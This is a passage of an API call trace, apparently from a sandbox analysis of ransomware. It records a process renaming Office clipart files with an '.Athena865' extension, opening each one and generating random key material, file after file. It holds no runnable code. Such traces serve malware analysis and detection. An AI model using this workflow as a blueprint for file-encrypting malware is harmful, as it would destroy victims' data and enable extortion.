(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5780) returned 1 [0131.831] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.832] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.832] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.834] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.835] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.835] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.835] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01164_.WMF" | out: lpString1="NA01164_.WMF") returned="NA01164_.WMF" [0131.835] lstrlenW (lpString="NA01164_.WMF") returned 12 [0131.835] lstrlenW (lpString="Athena865") returned 9 [0131.835] lstrcmpiW (lpString1="1164_.WMF", lpString2="Athena865") returned -1 [0131.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.Athena865") returned 73 [0131.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.837] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2564) returned 1 [0131.837] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.838] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.838] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.841] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.841] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.841] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01293_.WMF" | out: lpString1="NA01293_.WMF") returned="NA01293_.WMF" [0131.841] lstrlenW (lpString="NA01293_.WMF") returned 12 [0131.841] lstrlenW (lpString="Athena865") returned 9 [0131.841] lstrcmpiW (lpString1="1293_.WMF", lpString2="Athena865") returned -1 [0131.841] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.Athena865") returned 73 [0131.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.843] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28912) returned 1 [0131.843] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.843] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.844] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.848] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.848] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.849] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01354_.WMF" | out: lpString1="NA01354_.WMF") returned="NA01354_.WMF" [0131.849] lstrlenW (lpString="NA01354_.WMF") returned 12 [0131.849] lstrlenW (lpString="Athena865") returned 9 [0131.849] lstrcmpiW (lpString1="1354_.WMF", lpString2="Athena865") returned -1 [0131.849] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.Athena865") returned 73 [0131.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5806) returned 1 [0131.851] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.851] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.851] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.855] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.855] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.856] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01356_.WMF" | out: lpString1="NA01356_.WMF") returned="NA01356_.WMF" [0131.856] lstrlenW (lpString="NA01356_.WMF") returned 12 [0131.856] lstrlenW (lpString="Athena865") returned 9 [0131.856] lstrcmpiW (lpString1="1356_.WMF", lpString2="Athena865") returned -1 [0131.856] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.Athena865") returned 73 [0131.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.858] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18226) returned 1 [0131.858] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.859] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.859] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.864] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.864] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.864] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01357_.WMF" | out: lpString1="NA01357_.WMF") returned="NA01357_.WMF" [0131.864] lstrlenW (lpString="NA01357_.WMF") returned 12 [0131.864] lstrlenW (lpString="Athena865") returned 9 [0131.864] lstrcmpiW (lpString1="1357_.WMF", lpString2="Athena865") returned -1 [0131.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.Athena865") returned 73 [0131.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.866] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27638) returned 1 [0131.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.867] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.867] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.869] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.870] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.870] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.871] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01358_.WMF" | out: lpString1="NA01358_.WMF") returned="NA01358_.WMF" [0131.871] lstrlenW (lpString="NA01358_.WMF") returned 12 [0131.871] lstrlenW (lpString="Athena865") returned 9 [0131.871] lstrcmpiW (lpString1="1358_.WMF", lpString2="Athena865") returned -1 [0131.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.Athena865") returned 73 [0131.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3438) returned 1 [0131.873] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.874] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.874] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.876] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.877] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.877] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.878] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01361_.WMF" | out: lpString1="NA01361_.WMF") returned="NA01361_.WMF" [0131.878] lstrlenW (lpString="NA01361_.WMF") returned 12 [0131.878] lstrlenW (lpString="Athena865") returned 9 [0131.878] lstrcmpiW (lpString1="1361_.WMF", lpString2="Athena865") returned -1 [0131.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.Athena865") returned 73 [0131.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.880] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7028) returned 1 [0131.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.881] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.881] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.886] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.886] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.886] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01368_.WMF" | out: lpString1="NA01368_.WMF") returned="NA01368_.WMF" [0131.886] lstrlenW (lpString="NA01368_.WMF") returned 12 [0131.886] lstrlenW (lpString="Athena865") returned 9 [0131.886] lstrcmpiW (lpString1="1368_.WMF", lpString2="Athena865") returned -1 [0131.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.Athena865") returned 73 [0131.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.888] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=263186) returned 1 [0131.888] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.889] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.889] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.900] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.901] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.901] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.905] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01421_.WMF" | out: lpString1="NA01421_.WMF") returned="NA01421_.WMF" [0131.905] lstrlenW (lpString="NA01421_.WMF") returned 12 [0131.905] lstrlenW (lpString="Athena865") returned 9 [0131.905] lstrcmpiW (lpString1="1421_.WMF", lpString2="Athena865") returned -1 [0131.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.Athena865") returned 73 [0131.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=176494) returned 1 [0131.906] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.907] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.907] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.915] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.915] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.915] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.918] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01468_.WMF" | out: lpString1="NA01468_.WMF") returned="NA01468_.WMF" [0131.918] lstrlenW (lpString="NA01468_.WMF") returned 12 [0131.918] lstrlenW (lpString="Athena865") returned 9 [0131.918] lstrcmpiW (lpString1="1468_.WMF", lpString2="Athena865") returned -1 [0131.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.Athena865") returned 73 [0131.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.922] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20098) returned 1 [0131.922] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.922] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.922] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.925] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.926] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01470_.WMF" | out: lpString1="NA01470_.WMF") returned="NA01470_.WMF" [0131.926] lstrlenW (lpString="NA01470_.WMF") returned 12 [0131.926] lstrlenW (lpString="Athena865") returned 9 [0131.926] lstrcmpiW (lpString1="1470_.WMF", lpString2="Athena865") returned -1 [0131.926] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.Athena865") returned 73 [0131.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.928] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19162) returned 1 [0131.928] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.928] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.928] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.933] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.934] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.934] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.934] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01472_.WMF" | out: lpString1="NA01472_.WMF") returned="NA01472_.WMF" [0131.934] lstrlenW (lpString="NA01472_.WMF") returned 12 [0131.934] lstrlenW (lpString="Athena865") returned 9 [0131.935] lstrcmpiW (lpString1="1472_.WMF", lpString2="Athena865") returned -1 [0131.935] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.Athena865") returned 73 [0131.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.936] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 